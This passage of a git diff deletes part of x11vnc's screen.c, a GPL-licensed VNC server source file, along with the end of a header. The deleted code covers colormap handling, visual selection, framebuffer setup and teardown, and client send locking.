-extern void rotate_curs(char *dst_0, char *src_0, int Dx, int Dy, int Bpp);
-extern void rotate_coords(int x, int y, int *xo, int *yo, int dxi, int dyi);
-extern void rotate_coords_inverse(int x, int y, int *xo, int *yo, int dxi, int dyi);
-
-#endif /* _X11VNC_SCAN_H */
diff --git a/x11vnc/screen.c b/x11vnc/screen.c
deleted file mode 100644
index d0851f6..0000000
--- a/x11vnc/screen.c
+++ /dev/null
@@ -1,4705 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- screen.c -- */
-
-#include "x11vnc.h"
-#include "xevents.h"
-#include "xwrappers.h"
-#include "xinerama.h"
-#include "xdamage.h"
-#include "win_utils.h"
-#include "cleanup.h"
-#include "userinput.h"
-#include "scan.h"
-#include "user.h"
-#include "rates.h"
-#include "pointer.h"
-#include "keyboard.h"
-#include "cursor.h"
-#include "connections.h"
-#include "remote.h"
-#include "unixpw.h"
-#include "sslcmds.h"
-#include "sslhelper.h"
-#include "v4l.h"
-#include "linuxfb.h"
-#include "macosx.h"
-#include "macosxCG.h"
-#include "avahi.h"
-#include "solid.h"
-#include "inet.h"
-#include "xrandr.h"
-#include "xrecord.h"
-#include "pm.h"
-
-#include <rfb/rfbclient.h>
-
-void set_greyscale_colormap(void);
-void set_hi240_colormap(void);
-void unset_colormap(void);
-void set_colormap(int reset);
-void set_nofb_params(int restore);
-void set_raw_fb_params(int restore);
-void do_new_fb(int reset_mem);
-void free_old_fb(void);
-void check_padded_fb(void);
-void install_padded_fb(char *geom);
-XImage *initialize_xdisplay_fb(void);
-void parse_scale_string(char *str, double *factor_x, double *factor_y, int *scaling, int *blend,
- int *nomult4, int *pad, int *interpolate, int *numer, int *denom, int w_in, int h_in);
-int parse_rotate_string(char *str, int *mode);
-int scale_round(int len, double fac);
-void initialize_screen(int *argc, char **argv, XImage *fb);
-void set_vnc_desktop_name(void);
-void announce(int lport, int ssl, char *iface);
-
-char *vnc_reflect_guess(char *str, char **raw_fb_addr);
-void vnc_reflect_process_client(void);
-rfbBool vnc_reflect_send_pointer(int x, int y, int mask);
-rfbBool vnc_reflect_send_key(uint32_t key, rfbBool down);
-rfbBool vnc_reflect_send_cuttext(char *str, int len);
-
-static void debug_colormap(XImage *fb);
-static void set_visual(char *str);
-static void nofb_hook(rfbClientPtr cl);
-static void remove_fake_fb(void);
-static void install_fake_fb(int w, int h, int bpp);
-static void initialize_snap_fb(void);
-XImage *initialize_raw_fb(int);
-static void initialize_clipshift(void);
-static int wait_until_mapped(Window win);
-static void setup_scaling(int *width_in, int *height_in);
-
-static void check_filexfer(void);
-static void record_last_fb_update(void);
-static void check_cursor_changes(void);
-static int choose_delay(double dt);
-
-int rawfb_reset = -1;
-int rawfb_dev_video = 0;
-int rawfb_vnc_reflect = 0;
-
-/*
- * X11 and rfb display/screen related routines
- */
-
-/*
- * Some handling of 8bpp PseudoColor colormaps. Called for initializing
- * the clients and dynamically if -flashcmap is specified.
- */
-#define NCOLOR 256
-
-/* this is only for rawfb */
-void set_greyscale_colormap(void) {
- int i;
- if (! screen) {
- return;
- }
- /* mutex */
- if (screen->colourMap.data.shorts) {
- free(screen->colourMap.data.shorts);
- screen->colourMap.data.shorts = NULL;
- }
-
-if (0) fprintf(stderr, "set_greyscale_colormap: %s\n", raw_fb_pixfmt);
- screen->colourMap.count = NCOLOR;
- screen->serverFormat.trueColour = FALSE;
- screen->colourMap.is16 = TRUE;
- screen->colourMap.data.shorts = (unsigned short *)
- malloc(3*sizeof(unsigned short) * NCOLOR);
-
- for(i = 0; i < NCOLOR; i++) {
- unsigned short lvl = i * 256;
-
- screen->colourMap.data.shorts[i*3+0] = lvl;
- screen->colourMap.data.shorts[i*3+1] = lvl;
- screen->colourMap.data.shorts[i*3+2] = lvl;
- }
-
- rfbSetClientColourMaps(screen, 0, NCOLOR);
-}
-
-/* this is specific to bttv rf tuner card */
-void set_hi240_colormap(void) {
- int i;
- if (! screen) {
- return;
- }
- /* mutex */
-if (0) fprintf(stderr, "set_hi240_colormap: %s\n", raw_fb_pixfmt);
- if (screen->colourMap.data.shorts) {
- free(screen->colourMap.data.shorts);
- screen->colourMap.data.shorts = NULL;
- }
-
- screen->colourMap.count = 256;
- screen->serverFormat.trueColour = FALSE;
- screen->colourMap.is16 = TRUE;
- screen->colourMap.data.shorts = (unsigned short *)
- calloc(3*sizeof(unsigned short) * 256, 1);
-
- for(i = 0; i < 225; i++) {
- int r, g, b;
-
- r = ( (i/5) % 5 ) * 255.0 / 4 + 0.5;
- g = ( (i/25) ) * 255.0 / 8 + 0.5;
- b = ( i % 5 ) * 255.0 / 4 + 0.5;
-
- screen->colourMap.data.shorts[(i+16)*3+0] = (unsigned short) (r * 256);
- screen->colourMap.data.shorts[(i+16)*3+1] = (unsigned short) (g * 256);
- screen->colourMap.data.shorts[(i+16)*3+2] = (unsigned short) (b * 256);
- }
-
- rfbSetClientColourMaps(screen, 0, 256);
-}
-
-/* this is only for rawfb */
-void unset_colormap(void) {
- if (! screen) {
- return;
- }
- if (screen->colourMap.data.shorts) {
- free(screen->colourMap.data.shorts);
- screen->colourMap.data.shorts = NULL;
- }
- screen->serverFormat.trueColour = TRUE;
-if (0) fprintf(stderr, "unset_colormap: %s\n", raw_fb_pixfmt);
-}
-
-/* this is X11 case */
-void set_colormap(int reset) {
-
-#if NO_X11
- if (!reset) {}
- return;
-#else
- static int init = 1;
- static XColor *color = NULL, *prev = NULL;
- static int ncolor = 0;
- Colormap cmap;
- Visual *vis;
- int i, ncells, diffs = 0;
-
- if (reset) {
- init = 1;
- ncolor = 0;
- /* mutex */
- if (screen->colourMap.data.shorts) {
- free(screen->colourMap.data.shorts);
- screen->colourMap.data.shorts = NULL;
- }
- if (color) {
- free(color);
- color = NULL;
- }
- if (prev) {
- free(prev);
- prev = NULL;
- }
- }
-
- if (init) {
- if (depth > 16) {
- ncolor = NCOLOR;
- } else if (depth > 8) {
- ncolor = 1 << depth;
- } else {
- ncolor = NCOLOR;
- }
- /* mutex */
- screen->colourMap.count = ncolor;
- screen->serverFormat.trueColour = FALSE;
- screen->colourMap.is16 = TRUE;
- screen->colourMap.data.shorts = (unsigned short *)
- malloc(3*sizeof(unsigned short) * ncolor);
- }
- if (color == NULL) {
- color = (XColor *) calloc(ncolor * sizeof(XColor), 1);
- prev = (XColor *) calloc(ncolor * sizeof(XColor), 1);
- }
-
- for (i=0; i < ncolor; i++) {
- prev[i].red = color[i].red;
- prev[i].green = color[i].green;
- prev[i].blue = color[i].blue;
- }
-
- RAWFB_RET_VOID
-
- X_LOCK;
-
- cmap = DefaultColormap(dpy, scr);
- ncells = CellsOfScreen(ScreenOfDisplay(dpy, scr));
- vis = default_visual;
-
- if (subwin) {
- XWindowAttributes attr;
-
- if (XGetWindowAttributes(dpy, window, &attr)) {
- cmap = attr.colormap;
- vis = attr.visual;
- ncells = vis->map_entries;
- }
- }
-
- if (ncells != ncolor) {
- if (! shift_cmap) {
- screen->colourMap.count = ncells;
- }
- }
- if (init && ! quiet) {
- rfbLog("set_colormap: number of cells: %d, "
- "ncolor(%d) is %d.\n", ncells, depth, ncolor);
- }
-
- if (flash_cmap && ! init) {
- XWindowAttributes attr;
- Window c;
- int tries = 0;
-
- c = window;
- while (c && tries++ < 16) {
- c = query_pointer(c);
- if (valid_window(c, &attr, 0)) {
- if (attr.colormap && attr.map_installed) {
- cmap = attr.colormap;
- vis = attr.visual;
- ncells = vis->map_entries;
- break;
- }
- } else {
- break;
- }
- }
- }
- if (ncells > ncolor && ! quiet) {
- rfbLog("set_colormap: big problem: ncells=%d > %d\n",
- ncells, ncolor);
- }
-
- if (vis->class == TrueColor || vis->class == DirectColor) {
- /*
- * Kludge to make 8bpp TrueColor & DirectColor be like
- * the StaticColor map. The ncells = 8 is "8 per subfield"
- * mentioned in xdpyinfo. Looks OK... perhaps fortuitously.
- */
- if (ncells == 8 && ! shift_cmap) {
- ncells = ncolor;
- }
- }
-
- for (i=0; i < ncells; i++) {
- color[i].pixel = i;
- color[i].pad = 0;
- }
-
- XQueryColors(dpy, cmap, color, ncells);
-
- X_UNLOCK;
-
- for(i = ncells - 1; i >= 0; i--) {
- int k = i + shift_cmap;
-
- screen->colourMap.data.shorts[i*3+0] = color[i].red;
- screen->colourMap.data.shorts[i*3+1] = color[i].green;
- screen->colourMap.data.shorts[i*3+2] = color[i].blue;
-
- if (prev[i].red != color[i].red ||
- prev[i].green != color[i].green ||
- prev[i].blue != color[i].blue ) {
- diffs++;
- }
-
- if (shift_cmap && k >= 0 && k < ncolor) {
- /* kludge to copy the colors to higher pixel values */
- screen->colourMap.data.shorts[k*3+0] = color[i].red;
- screen->colourMap.data.shorts[k*3+1] = color[i].green;
- screen->colourMap.data.shorts[k*3+2] = color[i].blue;
- }
- }
-
- if (diffs && ! init) {
- if (! all_clients_initialized()) {
- rfbLog("set_colormap: warning: sending cmap "
- "with uninitialized clients.\n");
- }
- if (shift_cmap) {
- rfbSetClientColourMaps(screen, 0, ncolor);
- } else {
- rfbSetClientColourMaps(screen, 0, ncells);
- }
- }
-
- init = 0;
-#endif /* NO_X11 */
-}
-
-static void debug_colormap(XImage *fb) {
- static int debug_cmap = -1;
- int i, k, *histo;
- int ncolor;
-
- if (debug_cmap < 0) {
- if (getenv("DEBUG_CMAP") != NULL) {
- debug_cmap = 1;
- } else {
- debug_cmap = 0;
- }
- }
- if (! debug_cmap) {
- return;
- }
- if (! fb) {
- return;
- }
- if (fb->bits_per_pixel > 16) {
- return;
- }
- ncolor = screen->colourMap.count;
- histo = (int *) calloc(ncolor * sizeof(int), 1);
-
- for (i=0; i < ncolor; i++) {
- histo[i] = 0;
- }
- for (k = 0; k < fb->width * fb->height; k++) {
- unsigned char n;
- char c = *(fb->data + k);
-
- n = (unsigned char) c;
- histo[n]++;
- }
- fprintf(stderr, "\nColormap histogram for current screen contents:\n");
- for (i=0; i < ncolor; i++) {
- unsigned short r = screen->colourMap.data.shorts[i*3+0];
- unsigned short g = screen->colourMap.data.shorts[i*3+1];
- unsigned short b = screen->colourMap.data.shorts[i*3+2];
-
- fprintf(stderr, " %03d: %7d %04x/%04x/%04x", i, histo[i],
- r, g, b);
- if ((i+1) % 2 == 0) {
- fprintf(stderr, "\n");
- }
- }
- free(histo);
- fprintf(stderr, "\n");
-}
-
-/*
- * Experimental mode to force the visual of the window instead of querying
- * it. Used for testing, overriding some rare cases (win2vnc), and for
- * -overlay . Input string can be a decimal or 0x hex or something like
- * TrueColor or TrueColor:24 to force a depth as well.
- *
- * visual_id and possibly visual_depth are set.
- */
-static void set_visual(char *str) {
-#if NO_X11
- RAWFB_RET_VOID
- if (!str) {}
- return;
-#else
- int vis, vdepth, defdepth;
- XVisualInfo vinfo;
- char *p, *vstring = strdup(str);
-
- RAWFB_RET_VOID
-
- defdepth = DefaultDepth(dpy, scr);
- visual_id = (VisualID) 0;
- visual_depth = 0;
-
- if (!strcmp(vstring, "ignore") || !strcmp(vstring, "default")
- || !strcmp(vstring, "")) {
- free(vstring);
- return;
- }
-
- /* set visual depth */
- if ((p = strchr(vstring, ':')) != NULL) {
- visual_depth = atoi(p+1);
- *p = '\0';
- vdepth = visual_depth;
- } else {
- vdepth = defdepth;
- }
- if (! quiet) {
- fprintf(stderr, "\nVisual Info:\n");
- fprintf(stderr, " set_visual(\"%s\")\n", str);
- fprintf(stderr, " visual_depth: %d\n", vdepth);
- }
-
- /* set visual id number */
- if (strcmp(vstring, "StaticGray") == 0) {
- vis = StaticGray;
- } else if (strcmp(vstring, "GrayScale") == 0) {
- vis = GrayScale;
- } else if (strcmp(vstring, "StaticColor") == 0) {
- vis = StaticColor;
- } else if (strcmp(vstring, "PseudoColor") == 0) {
- vis = PseudoColor;
- } else if (strcmp(vstring, "TrueColor") == 0) {
- vis = TrueColor;
- } else if (strcmp(vstring, "DirectColor") == 0) {
- vis = DirectColor;
- } else {
- unsigned int v_in;
- if (sscanf(vstring, "0x%x", &v_in) != 1) {
- if (sscanf(vstring, "%u", &v_in) == 1) {
- visual_id = (VisualID) v_in;
- return;
- }
- rfbLogEnable(1);
- rfbLog("invalid -visual arg: %s\n", vstring);
- X_UNLOCK;
- clean_up_exit(1);
- }
- visual_id = (VisualID) v_in;
- free(vstring);
- return;
- }
-
- if (! quiet) fprintf(stderr, " visual: %d\n", vis);
- if (XMatchVisualInfo(dpy, scr, visual_depth, vis, &vinfo)) {
- ;
- } else if (XMatchVisualInfo(dpy, scr, defdepth, vis, &vinfo)) {
- ;
- } else {
- rfbLogEnable(1);
- rfbLog("could not find visual: %s\n", vstring);
- X_UNLOCK;
- clean_up_exit(1);
- }
- free(vstring);
-
- /* set numerical visual id. */
- visual_id = vinfo.visualid;
-#endif /* NO_X11 */
-}
-
-void set_nofb_params(int restore) {
- static int first = 1;
- static int save[100];
- static char *scroll = NULL;
- int i = 0;
-
- if (first) {
- first = 0;
- save[i++] = use_xfixes;
- save[i++] = use_xdamage;
- save[i++] = use_xrecord;
- save[i++] = wireframe;
- save[i++] = use_solid_bg;
- save[i++] = overlay;
- save[i++] = overlay_cursor;
- save[i++] = using_shm;
- save[i++] = single_copytile;
- save[i++] = take_naps;
- save[i++] = measure_speeds;
- save[i++] = grab_buster;
- save[i++] = show_cursor;
- save[i++] = cursor_shape_updates;
- save[i++] = cursor_pos_updates;
- save[i++] = ncache;
-
- scroll = scroll_copyrect;
- }
- if (restore) {
- i = 0;
- use_xfixes = save[i++];
- use_xdamage = save[i++];
- use_xrecord = save[i++];
- wireframe = save[i++];
- use_solid_bg = save[i++];
- overlay = save[i++];
- overlay_cursor = save[i++];
- using_shm = save[i++];
- single_copytile = save[i++];
- take_naps = save[i++];
- measure_speeds = save[i++];
- grab_buster = save[i++];
- show_cursor = save[i++];
- cursor_shape_updates = save[i++];
- cursor_pos_updates = save[i++];
- ncache = save[i++];
-
- scroll_copyrect = scroll;
-
- if (cursor_shape_updates) {
- restore_cursor_shape_updates(screen);
- }
- initialize_cursors_mode();
-
- return;
- }
-
- use_xfixes = 0;
- use_xdamage = 0;
- use_xrecord = 0;
- wireframe = 0;
-
- use_solid_bg = 0;
- overlay = 0;
- overlay_cursor = 0;
-
- using_shm = 0;
- single_copytile = 1;
-
- take_naps = 0;
- measure_speeds = 0;
-
- /* got_grab_buster? */
- grab_buster = 0;
-
- show_cursor = 0;
- show_multiple_cursors = 0;
- cursor_shape_updates = 0;
- if (! got_cursorpos) {
- cursor_pos_updates = 0;
- }
-
- ncache = 0;
-
- scroll_copyrect = "never";
-
- if (! quiet) {
- rfbLog("disabling: xfixes, xdamage, solid, overlay, shm,\n");
- rfbLog(" wireframe, scrollcopyrect, ncache,\n");
- rfbLog(" noonetile, nap, cursor, %scursorshape\n",
- got_cursorpos ? "" : "cursorpos, " );
- rfbLog(" in -nofb mode.\n");
- }
-}
-
-static char *raw_fb_orig_dpy = NULL;
-
-void set_raw_fb_params(int restore) {
- static int first = 1;
- static int vo0, us0, sm0, ws0, wp0, wc0, wb0, na0, tn0;
- static int xr0, xrm0, sb0, re0;
- static char *mc0;
-
- /*
- * set turn off a bunch of parameters not compatible with
- * -rawfb mode: 1) ignoring the X server 2) ignoring user input.
- */
-
- if (first) {
- /* at least save the initial settings... */
- vo0 = view_only;
- ws0 = watch_selection;
- wp0 = watch_primary;
- wc0 = watch_clipboard;
- wb0 = watch_bell;
- na0 = no_autorepeat;
- sb0 = use_solid_bg;
-
- us0 = use_snapfb;
- sm0 = using_shm;
- tn0 = take_naps;
- xr0 = xrandr;
- xrm0 = xrandr_maybe;
- re0 = noxrecord;
- mc0 = multiple_cursors_mode;
-
- first = 0;
- }
-
- if (restore) {
- view_only = vo0;
- watch_selection = ws0;
- watch_primary = wp0;
- watch_clipboard = wc0;
- watch_bell = wb0;
- no_autorepeat = na0;
- use_solid_bg = sb0;
-
- use_snapfb = us0;
- using_shm = sm0;
- take_naps = tn0;
- xrandr = xr0;
- xrandr_maybe = xrm0;
- noxrecord = re0;
- multiple_cursors_mode = mc0;
-
- if (! dpy && raw_fb_orig_dpy) {
- dpy = XOpenDisplay_wr(raw_fb_orig_dpy);
- last_open_xdisplay = time(NULL);
- if (dpy) {
- if (! quiet) rfbLog("reopened DISPLAY: %s\n",
- raw_fb_orig_dpy);
- scr = DefaultScreen(dpy);
- rootwin = RootWindow(dpy, scr);
- check_xevents(1);
- } else {
- if (! quiet) rfbLog("WARNING: failed to reopen "
- "DISPLAY: %s\n", raw_fb_orig_dpy);
- }
- }
- return;
- }
-
- if (verbose) {
- rfbLog("set_raw_fb_params: modifying settings for "
- "-rawfb mode.\n");
- }
-
- if (got_noviewonly) {
- /*
- * The user input parameters are not unset under
- * -noviewonly... this usage should be very rare
- * (i.e. rawfb but also send user input to the X
- * display, most likely using /dev/fb0 for some reason...)
- */
- if (verbose) {
- rfbLog("rawfb: -noviewonly mode: still sending mouse and\n");
- rfbLog("rawfb: keyboard input to the X DISPLAY!!\n");
- }
- } else {
- /* Normal case: */
-#if 0
- if (! view_only && ! pipeinput_str) {
- if (! quiet) rfbLog(" rawfb: setting view_only\n");
- view_only = 1;
- }
-#endif
- if (raw_fb_str && strstr(raw_fb_str, "vnc") == raw_fb_str) {
- ;
- } else if (watch_selection) {
- if (verbose) rfbLog(" rawfb: turning off "
- "watch_selection\n");
- watch_selection = 0;
- }
- if (watch_primary) {
- if (verbose) rfbLog(" rawfb: turning off "
- "watch_primary\n");
- watch_primary = 0;
- }
- if (watch_clipboard) {
- if (verbose) rfbLog(" rawfb: turning off "
- "watch_clipboard\n");
- watch_clipboard = 0;
- }
- if (watch_bell) {
- if (verbose) rfbLog(" rawfb: turning off watch_bell\n");
- watch_bell = 0;
- }
- if (no_autorepeat) {
- if (verbose) rfbLog(" rawfb: turning off "
- "no_autorepeat\n");
- no_autorepeat = 0;
- }
- if (use_solid_bg) {
- if (verbose) rfbLog(" rawfb: turning off "
- "use_solid_bg\n");
- use_solid_bg = 0;
- }
-#ifndef MACOSX
- if (raw_fb_str && strstr(raw_fb_str, "vnc") == raw_fb_str) {
- ;
- } else {
- multiple_cursors_mode = strdup("arrow");
- }
-#endif
- }
- if (using_shm) {
- if (verbose) rfbLog(" rawfb: turning off using_shm\n");
- using_shm = 0;
- }
- if (take_naps) {
- if (verbose) rfbLog(" rawfb: turning off take_naps\n");
- take_naps = 0;
- }
- if (xrandr) {
- if (verbose) rfbLog(" rawfb: turning off xrandr\n");
- xrandr = 0;
- }
- if (xrandr_maybe) {
- if (verbose) rfbLog(" rawfb: turning off xrandr_maybe\n");
- xrandr_maybe = 0;
- }
- if (! noxrecord) {
- if (verbose) rfbLog(" rawfb: turning off xrecord\n");
- noxrecord = 1;
- }
-}
-
-/*
- * Presumably under -nofb the clients will never request the framebuffer.
- * However, we have gotten such a request... so let's just give them
- * the current view on the display. n.b. x2vnc and perhaps win2vnc
- * requests a 1x1 pixel for some workaround so sadly this evidently
- * nearly always happens.
- */
-static void nofb_hook(rfbClientPtr cl) {
- XImage *fb;
- XImage raw;
-
- rfbLog("framebuffer requested in -nofb mode by client %s\n", cl->host);
- /* ignore xrandr */
-
- if (raw_fb && ! dpy) {
- fb = &raw;
- fb->data = (char *)malloc(32);
- } else {
- int use_real_ximage = 0;
- if (use_real_ximage) {
- fb = XGetImage_wr(dpy, window, 0, 0, dpy_x, dpy_y, AllPlanes, ZPixmap);
- } else {
- fb = &raw;
- fb->data = (char *) calloc(dpy_x*dpy_y*bpp/8, 1);
- }
- }
- main_fb = fb->data;
- rfb_fb = main_fb;
- /* mutex */
- screen->frameBuffer = rfb_fb;
- screen->displayHook = NULL;
-}
-
-void free_old_fb(void) {
- char *fbs[16];
- int i, j, nfb = 0, db = 0;
-
- fbs[nfb++] = main_fb; main_fb = NULL;
- fbs[nfb++] = rfb_fb; rfb_fb = NULL;
- fbs[nfb++] = cmap8to24_fb; cmap8to24_fb = NULL;
- fbs[nfb++] = snap_fb; snap_fb = NULL;
- fbs[nfb++] = rot_fb; rot_fb = NULL;
- fbs[nfb++] = raw_fb; raw_fb = NULL;
-
- for (i=0; i < nfb; i++) {
- char *fb = fbs[i];
- int freeit = 1;
- if (! fb || fb < (char *) 0x10) {
- continue;
- }
- for (j=0; j < i; j++) {
- if (fb == fbs[j]) {
- freeit = 0;
- break;
- }
- }
- if (freeit) {
- if (db) fprintf(stderr, "free: %i %p\n", i, fb);
- free(fb);
- } else {
- if (db) fprintf(stderr, "skip: %i %p\n", i, fb);
- }
- }
-}
-
-static char _lcs_tmp[128];
-static int _bytes0_size = 128, _bytes0[128];
-
-static char *lcs(rfbClientPtr cl) {
- sprintf(_lcs_tmp, "%d/%d/%d/%d/%d-%d/%d/%d",
- !!(cl->newFBSizePending),
- !!(cl->cursorWasChanged),
- !!(cl->cursorWasMoved),
- !!(cl->reverseConnection),
- cl->state,
- cl->modifiedRegion ? !!(sraRgnEmpty(cl->modifiedRegion)) : 2,
- cl->requestedRegion ? !!(sraRgnEmpty(cl->requestedRegion)) : 2,
- cl->copyRegion ? !!(sraRgnEmpty(cl->copyRegion)) : 2
- );
- return _lcs_tmp;
-}
-
-static int lock_client_sends(int lock) {
- static rfbClientPtr *cls = NULL;
- static int cls_len = 0;
- static int blocked = 0;
- static int state = 0;
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- char *s;
-
- if (!use_threads || !screen) {
- return 0;
- }
- if (lock < 0) {
- return state;
- }
- state = lock;
-
- if (lock) {
- if (cls_len < client_count + 128) {
- if (cls != NULL) {
- free(cls);
- }
- cls_len = client_count + 256;
- cls = (rfbClientPtr *) calloc(cls_len * sizeof(rfbClientPtr), 1);
- }
-
- iter = rfbGetClientIterator(screen);
- blocked = 0;
- while ((cl = rfbClientIteratorNext(iter)) != NULL) {
- s = lcs(cl);
- SEND_LOCK(cl);
- rfbLog("locked client: %p %.6f %s\n", cl, dnowx(), s);
- cls[blocked++] = cl;
- }
- rfbReleaseClientIterator(iter);
- } else {
- int i;
- for (i=0; i < blocked; i++) {
- cl = cls[i];
- if (cl != NULL) {
- s = lcs(cl);
- SEND_UNLOCK(cl)
- rfbLog("unlocked client: %p %.6f %s\n", cl, dnowx(), s);
- }
- cls[i] = NULL;
- }
- blocked = 0;
- }
- return state;
-}
-
-static void settle_clients(int init) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int fb_pend, i, ms = 1000;
- char *s;
-
- if (!use_threads || !screen) {
- return;
- }
-
- if (init) {
- iter = rfbGetClientIterator(screen);
- i = 0;
- while ((cl = rfbClientIteratorNext(iter)) != NULL) {
- if (i < _bytes0_size) {
- _bytes0[i] = rfbStatGetSentBytesIfRaw(cl);
- }
- i++;
- }
- rfbReleaseClientIterator(iter);
-
- if (getenv("X11VNC_THREADS_NEW_FB_SLEEP")) {
- ms = atoi(getenv("X11VNC_THREADS_NEW_FB_SLEEP"));
- } else if (subwin) {
- ms = 250;
- } else {
- ms = 500;
- }
- usleep(ms * 1000);
- return;
- }
-
- if (getenv("X11VNC_THREADS_NEW_FB_SLEEP")) {
- ms = atoi(getenv("X11VNC_THREADS_NEW_FB_SLEEP"));
- } else if (subwin) {
- ms = 500;
- } else {
- ms = 1000;
- }
- usleep(ms * 1000);
-
- for (i=0; i < 5; i++) {
- fb_pend = 0;
- iter = rfbGetClientIterator(screen);
- while ((cl = rfbClientIteratorNext(iter)) != NULL) {
- s = lcs(cl);
- if (cl->newFBSizePending) {
- fb_pend++;
- rfbLog("pending fb size: %p %.6f %s\n", cl, dnowx(), s);
- }
- }
- rfbReleaseClientIterator(iter);
- if (fb_pend > 0) {
- rfbLog("do_new_fb: newFBSizePending extra -threads sleep (%d)\n", i+1);
- usleep(ms * 1000);
- } else {
- break;
- }
- }
- for (i=0; i < 5; i++) {
- int stuck = 0, tot = 0, j = 0;
- iter = rfbGetClientIterator(screen);
- while ((cl = rfbClientIteratorNext(iter)) != NULL) {
- if (j < _bytes0_size) {
- int db = rfbStatGetSentBytesIfRaw(cl) - _bytes0[j];
- int Bpp = cl->format.bitsPerPixel / 8;
-
- s = lcs(cl);
- rfbLog("addl bytes sent: %p %.6f %s %d %d\n",
- cl, dnowx(), s, db, _bytes0[j]);
-
- if (i==0) {
- if (db < Bpp * dpy_x * dpy_y) {
- stuck++;
- }
- } else if (i==1) {
- if (db < 0.5 * Bpp * dpy_x * dpy_y) {
- stuck++;
- }
- } else {
- if (db <= 0) {
- stuck++;
- }
- }
- }
- tot++;
- j++;
- }
- rfbReleaseClientIterator(iter);
- if (stuck > 0) {
- rfbLog("clients stuck: %d/%d sleep(%d)\n", stuck, tot, i);
- usleep(2 * ms * 1000);
- } else {
- break;
- }
- }
-}
-
-static void prep_clients_for_new_fb(void) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
-
- if (!use_threads || !screen) {
- return;
- }
- iter = rfbGetClientIterator(screen);
- while ((cl = rfbClientIteratorNext(iter)) != NULL) {
- if (!cl->newFBSizePending) {
- rfbLog("** set_new_fb_size_pending client: %p\n", cl);
- cl->newFBSizePending = TRUE;
- }
- cl->cursorWasChanged = FALSE;
- cl->cursorWasMoved = FALSE;
- }
- rfbReleaseClientIterator(iter);
-}
-
-void do_new_fb(int reset_mem) {
- XImage *fb;
-
- /* for threaded we really should lock libvncserver out. */
- if (use_threads) {
- int ms = 1000;
- if (getenv("X11VNC_THREADS_NEW_FB_SLEEP")) {
- ms = atoi(getenv("X11VNC_THREADS_NEW_FB_SLEEP"));
- } else if (subwin) {
- ms = 500;
- } else {
- ms = 1000;
- }
- rfbLog("Warning: changing framebuffers in threaded mode may be unstable.\n");
- threads_drop_input = 1;
- usleep(ms * 1000);
- }
-
- INPUT_LOCK;
- lock_client_sends(1);
-
- if (use_threads) {
- settle_clients(1);
- }
-
-#ifdef MACOSX
- if (macosx_console) {
- macosxCG_fini();
- }
-#endif
- if (reset_mem == 1) {
- /* reset_mem == 2 is a hack for changing users... */
- clean_shm(0);
- free_tiles();
- }
-
- free_old_fb();
-
- fb = initialize_xdisplay_fb();
-
- initialize_screen(NULL, NULL, fb);
-
- if (reset_mem) {
- initialize_tiles();
- initialize_blackouts_and_xinerama();
- initialize_polling_images();
- }
- if (ncache) {
- check_ncache(1, 0);
- }
-
- prep_clients_for_new_fb();
- lock_client_sends(0);
- INPUT_UNLOCK;
-
- if (use_threads) {
- /* need to let things settle... */
- settle_clients(0);
- threads_drop_input = 0;
- }
-}
-
-static void remove_fake_fb(void) {
- if (! screen) {
- return;
- }
- rfbLog("removing fake fb: 0x%x\n", fake_fb);
-
- do_new_fb(1);
-
- /*
- * fake_fb is freed in do_new_fb(), but we set to NULL here to
- * indicate it is gone.
- */
- fake_fb = NULL;
-}
-
-static void rfb_new_framebuffer(rfbScreenInfoPtr rfbScreen, char *framebuffer,
- int width,int height, int bitsPerSample,int samplesPerPixel,
- int bytesPerPixel) {
-
- rfbNewFramebuffer(rfbScreen, framebuffer, width, height, bitsPerSample,
- samplesPerPixel, bytesPerPixel);
-
-}
-
-static void install_fake_fb(int w, int h, int bpp) {
- int bpc;
- if (! screen) {
- return;
- }
- lock_client_sends(1);
- if (fake_fb) {
- free(fake_fb);
- }
- fake_fb = (char *) calloc(w*h*bpp/8, 1);
- if (! fake_fb) {
- rfbLog("could not create fake fb: %dx%d %d\n", w, h, bpp);
- lock_client_sends(0);
- return;
- }
- bpc = guess_bits_per_color(bpp);
- rfbLog("installing fake fb: %dx%d %d\n", w, h, bpp);
- rfbLog("rfbNewFramebuffer(0x%x, 0x%x, %d, %d, %d, %d, %d)\n",
- screen, fake_fb, w, h, bpc, 1, bpp/8);
-
- rfb_new_framebuffer(screen, fake_fb, w, h, bpc, 1, bpp/8);
- lock_client_sends(0);
-}
-
-void check_padded_fb(void) {
- if (! fake_fb) {
- return;
- }
- if (unixpw_in_progress) return;
-
- if (time(NULL) > pad_geometry_time+1 && all_clients_initialized()) {
- remove_fake_fb();
- }
-}
-
-void install_padded_fb(char *geom) {
- int w, h;
- int ok = 1;
- if (! geom || *geom == '\0') {
- ok = 0;
- } else if (sscanf(geom, "%dx%d", &w, &h) != 2) {
- ok = 0;
- }
- w = nabs(w);
- h = nabs(h);
-
- if (w < 5) w = 5;
- if (h < 5) h = 5;
-
- if (!ok) {
- rfbLog("skipping invalid pad geometry: '%s'\n", NONUL(geom));
- return;
- }
- install_fake_fb(w, h, bpp);
- pad_geometry_time = time(NULL);
-}
-
-static void initialize_snap_fb(void) {
- RAWFB_RET_VOID
- if (snap_fb) {
- free(snap_fb);
- }
- snap = XGetImage_wr(dpy, window, 0, 0, dpy_x, dpy_y, AllPlanes,
- ZPixmap);
- snap_fb = snap->data;
-}
-
-static rfbClient* client = NULL;
-
